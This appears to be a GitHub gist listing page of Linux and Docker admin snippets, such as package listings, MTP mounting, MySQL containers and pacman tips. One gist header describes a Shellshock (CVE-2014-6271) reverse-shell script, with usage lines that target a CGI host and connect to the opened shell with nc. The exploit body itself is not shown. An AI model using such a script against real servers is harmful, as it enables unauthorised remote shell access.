Skip to content

Instantly share code, notes, and snippets.

View nlamirault's full-sized avatar

Nicolas Lamirault nlamirault

View GitHub Profile
@nlamirault
nlamirault / gist:32e1679c9616a30a33d4
Created July 25, 2014 07:49
Debian content file
$ dpkg -c nimbus-stats_0.1-1_amd64.deb |less
drwxr-xr-x root/root 0 2014-07-25 09:34 ./
drwxr-xr-x root/root 0 2014-07-25 09:34 ./usr/
drwxr-xr-x root/root 0 2014-07-25 09:34 ./usr/share/
drwxr-xr-x root/root 0 2014-07-25 09:34 ./usr/share/python/
drwxr-xr-x root/root 0 2014-07-25 09:34 ./usr/share/python/nimbus-stats/
drwxr-xr-x root/root 0 2014-07-25 09:34 ./usr/share/python/nimbus-stats/lib/
drwxr-xr-x root/root 0 2014-07-25 09:34 ./usr/share/python/nimbus-stats/lib/python2.7/
-rw-r--r-- root/root 3588 2014-07-25 09:34 ./usr/share/python/nimbus-stats/lib/python2.7/linecache.pyc
-rw-r--r-- root/root 0 2014-07-25 09:34 ./usr/share/python/nimbus-stats/lib/python2.7/no-global-site-packages.txt
@nlamirault
nlamirault / gist:4fd54628534d4db55584
Created July 25, 2014 09:16
Arch Linux / Android MTP / Nexus 4
* Install android-udev package from AUR
* Install go-mtpfs package from AUR
* Add fuse group if you don’t have it already:
$ groupadd fuse
* Add yourself to fuse group
$ gpasswd -a YOURLOGIN fuse
* Create mounting directory
$ mkdir /media/nexus
$ chown YOURLOGIN /media/nexus
* Create aliases to allow quick mounting. This needs to go to your ~/.bashrc file
$ docker run --rm=true -p 7306:3306 --name db dockerfile/mysql
140828 11:09:55 mysqld_safe Logging to syslog.
140828 11:09:55 mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql
$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
f748825d6b83 dockerfile/mysql:latest "mysqld_safe" 18 minutes ago Up 18 minutes 0.0.0.0:7306->3306/tcp db
$ docker run --link db:db --name nimbus-cmdb oab/nimbus-cmdb env
@nlamirault
nlamirault / gist:b69b15b05bb025567d38
Created September 4, 2014 13:11
Find file which not have a string
$ for i in `find . -name "*.py"`; do if ! grep -q "unicode" $i ; then echo $i ; fi ; done
@nlamirault
nlamirault / gist:38cfc46682eaeb28709e
Created September 21, 2014 14:00
offlineimap-notify.sh
#!/usr/bin/bash
#
# Script to notify user for new mails.
# Crontab ex:
# */3 * * * * ~/bin/offlineimap-notify.sh
#
#run OfflineIMAP once, with quiet interface
offlineimap -o -q -u quiet
$ cat /usr/lib/cgi-bin/hello.cgi
#!/bin/bash
echo "Content-type: text/plain"
echo
echo
echo "Hi"
$ curl http://x.x.x.x/cgi-bin/hello.cgi
Hi
@nlamirault
nlamirault / gist:c159cb86464d69d6574e
Last active August 29, 2015 14:06
CVE-2014-6271 : remote shell
#!/usr/bin/python
#
# CVE-2014-6271 cgi-bin reverse shell
#
# Ex:
# $ ./shellshock.py 10.1.1.44 /cgi-bin/hello.cgi 10.2.2.44 2222
# $ nc 10.1.1.44 2222
#
@nlamirault
nlamirault / gist:6c362eb4fb625caa8db6
Last active December 7, 2015 09:58
Docker clean command
For containers:
docker rm $(docker ps -aq)
For images:
docker rmi $(docker images -q --filter dangling=true)
@nlamirault
nlamirault / gist:759cf6e614d5398b02e5
Created October 22, 2014 07:35
simple terminal broadcasting
- On first terminal :
$ tcpserver -v 0.0.0.0 8888 tail -f /tmp/script
- On another terminal :
$ script -f /tmp/script
- Anyone that wants to view your session can simply run:

Arch Linux

Removing orphaned packages :

$ pacman -Rns $(pacman -Qtdq)

To list explicitly installed packages available in the official repositories:

$ pacman -Qen